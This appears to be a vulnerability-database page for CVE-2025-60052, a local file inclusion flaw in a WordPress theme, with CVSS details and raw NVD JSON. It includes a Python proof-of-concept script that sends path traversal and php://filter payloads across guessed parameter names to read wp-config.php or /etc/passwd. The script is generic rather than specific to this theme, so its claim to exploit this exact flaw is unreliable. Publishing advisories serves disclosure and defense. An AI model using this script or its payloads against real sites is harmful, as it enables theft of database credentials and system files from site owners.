Security Vulnerability Report
中文
CVE-2025-60052 CVSS 8.1 HIGH

CVE-2025-60052

Published: 2025-12-18 08:16:05
Last Modified: 2026-04-27 16:16:31

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes W&D wd allows PHP Local File Inclusion.This issue affects W&D: from n/a through <= 1.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AncoraThemes W&D wd <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60052 PoC - Local File Inclusion in W&D wd theme # Target: WordPress site with AncoraThemes W&D wd theme <= 1.0 import requests import argparse import urllib.parse def exploit_lfi(target_url, filename): """ Exploit Local File Inclusion vulnerability in W&D wd theme """ # Common vulnerable parameters in WordPress themes vulnerable_params = ['file', 'page', 'template', 'view', 'action'] # Target file to read (default: wp-config.php) target_file = filename or '../../../../wp-config.php' print(f"[*] Target: {target_url}") print(f"[*] Attempting to read: {target_file}") for param in vulnerable_params: # Try different path traversal techniques payloads = [ target_file, f"php://filter/read=convert.base64-encode/resource={target_file}", f"file://{target_file}" ] for payload in payloads: try: encoded_payload = urllib.parse.quote(payload) test_url = f"{target_url}/?{param}={encoded_payload}" response = requests.get(test_url, timeout=10) # Check if file content is leaked if response.status_code == 200: if '<?php' in response.text or 'DB_NAME' in response.text: print(f"[!] VULNERABLE! Parameter: {param}") print(f"[!] Payload: {payload}") print(f"[+] File content preview:") print(response.text[:500]) return True except requests.RequestException as e: print(f"[-] Error testing {param}: {e}") print("[*] No obvious LFI found with basic payloads") print("[*] Manual testing may be required with theme-specific endpoints") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-60052 LFI PoC') parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-f', '--file', default='wp-config.php', help='File to read') args = parser.parse_args() exploit_lfi(args.target, args.file) # Usage: # python cve-2025-60052.py -t http://target.com -f /etc/passwd # python cve-2025-60052.py -t http://target.com -f wp-config.php

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60052", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:04.863", "lastModified": "2026-04-27T16:16:30.540", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes W&D wd allows PHP Local File Inclusion.This issue affects W&D: from n/a through <= 1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/wd/vulnerability/wordpress-w-d-theme-1-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}